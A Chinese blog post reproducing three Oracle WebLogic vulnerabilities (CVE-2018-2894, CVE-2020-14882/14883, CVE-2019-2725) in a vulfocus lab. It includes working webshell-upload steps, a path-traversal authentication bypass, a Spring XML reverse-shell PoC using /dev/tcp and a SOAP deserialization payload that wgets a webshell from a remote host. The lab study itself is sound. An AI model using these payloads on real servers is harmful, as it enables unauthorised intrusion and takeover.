Weblogic部分漏洞复现

weblogic文件上传漏洞(CVE-2018-2894)

简介

CVE-2018-2894 是 Oracle WebLogic Server 中的 任意文件上传漏洞,它存在于 ws_utc 组件(Web Services Test Client)。攻击者可以利用该漏洞,在服务器上 上传任意文件(如 JSP WebShell),最终导致 远程代码执行(RCE),甚至获取服务器的控制权。

影响版本

10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3

受影响组件:ws_utc

WebLogic 的 ws_utc 组件 是一个 Web Service 测试工具,通常用于 Web 服务开发者调试 WebLogic 的 Web Service。
默认情况下,它的访问地址是:

http://[WebLogic_IP]:[PORT]/ws_utc/begin.do

该组件提供了 文件上传功能,用于 Web Service 测试配置,然而由于 缺乏访问控制文件格式校验,导致攻击者可以 上传任意文件

ws_utc 组件的功能

ws_utc 组件主要用于 测试 WebLogic 的 Web Services,它包含两个核心页面:

  • begin.do:用于加载 Web Service 测试界面
  • config.do:用于 上传 Web Service 配置文件(可上传 .xml 文件)

关键的漏洞点

(1)未授权访问
  • ws_utc 组件默认情况下是 开放访问的,并 不需要身份验证(即无需 WebLogic 管理员权限)。

  • 任何用户都可以直接访问:

    http://[WebLogic_IP]:[PORT]/ws_utc/config.do
    
(2)任意文件上传
  • config.do页面提供了 上传 XML 配置文件的功能,但:
    • 该接口 没有严格的文件类型校验
    • 允许上传 非 XML 文件
    • 可上传 .jsp.war可执行文件
  • 由于 WebLogic 服务器 会自动解析 JSP 文件,攻击者可以上传 恶意 JSP WebShell,从而 执行任意代码

漏洞复现

这边使用vulfocus靶场进行复现

image-20250316201401197

访问/ws_utc/config.do

image-20250316201533518

设置Work Home Dir为ws_utc应用的静态文件css目录(访问这个目录是无需权限的)

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

image-20250316201716473

然后在安全 -添加功能 ,上传jsp木马

image-20250316201816740

点击提交并抓包,获取响应数据包中的时间戳

image-20250316202017917

然后访问 http://ip:port/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell

image-20250316202232027

weblogic远程代码执行漏洞(CVE-2020-14883)

简介

CVE-2020-14883 是 Oracle WebLogic Server 中的一个 远程代码执行(RCE)漏洞,属于 未授权访问漏洞,可用于获取 WebLogic 管理权限。攻击者利用该漏洞可以远程执行恶意代码,最终导致服务器被控制。

影响版本

10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0

漏洞组件

该漏洞影响 WebLogic Server 的 Console 组件(管理控制台),该组件通常用于 WebLogic 的管理操作,默认访问路径为:

http://[WebLogic_IP]:[PORT]/console/

在某些情况下,该组件对 未授权用户 仍然开放,导致攻击者可以绕过身份验证,执行管理命令。

漏洞核心点

  • 身份验证绕过:

    WebLogic Console 存在 未授权访问漏洞,攻击者可以在 无需管理员认证 的情况下直接访问某些管理 API。

  • 远程命令执行(RCE):

    由于 WebLogic Console 允许执行 Java MBean 相关操作,攻击者可以利用某些 MBean 组件远程执行代码。

漏洞复现

image-20250316214708840

首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal

这条请求利用了 路径遍历(URL 编码绕过) 方式访问 console.portal 组件,导致 无需认证 直接进入 WebLogic 管理控制台。

image-20250316235334998

编写poc rce.xml

<beans xmlns="http://www.springframework.org/schema/beans" 
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
       xsi:schemaLocation="http://www.springframework.org/schema/beans 
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>/bin/bash</value>
                <value>-c</value>
                <value><![CDATA[bash -i &> /dev/tcp/192.168.41.128/5555 0<&1]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>

虚拟机上开启一个py服务

python -m http.server 8888

然后监听本机的5555端口

nc -lvp 5555

然后访问urlhttp://1923.58.224.8:18992/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext(“http://192.168.41.128:8888/rce.xml”)
即可建立反弹链接

Weblogic反序列化远程代码执行漏洞(CVE-2019-2725)

简介

CVE-2019-2725 是 Oracle WebLogic Server 反序列化远程代码执行漏洞,主要影响 WebLogic 的 XMLDecoder 组件,攻击者可以利用该漏洞在未授权的情况下远程执行任意代码。由于 WebLogic Server 默认开启了 Web 服务,这使得该漏洞可以通过远程方式被利用,危害极大。

影响版本

10.3.6.0.0
12.1.3.0.0

漏洞组件

该漏洞的主要成因是 WebLogic 的 wls9_async_responsewls-wsat 组件在处理 XML 反序列化数据时存在不安全的对象反序列化逻辑,导致攻击者可通过构造恶意的 XML 请求,从而实现远程代码执行(RCE)。

漏洞复现

image-20250317161808890

访问 /_async/AsyncResponseService返回如下页面,即可能存在该漏洞

image-20250317161829032

构造如下poc

POST /_async/AsyncResponseService HTTP/1.1
Host: 123.58.224.8:21326
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 929
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://192.168.41.136:8888/newshell.jsp.txt -O /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/newshell.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

image-20250317163321020

上传成功后用哥斯拉连接就好

不知道路径的可以访问

/_async/AsyncResponseService?info

image-20250317163440832

复制蓝色部分就好

Logo

科技之力与好奇之心,共建有温度的智能世界

更多推荐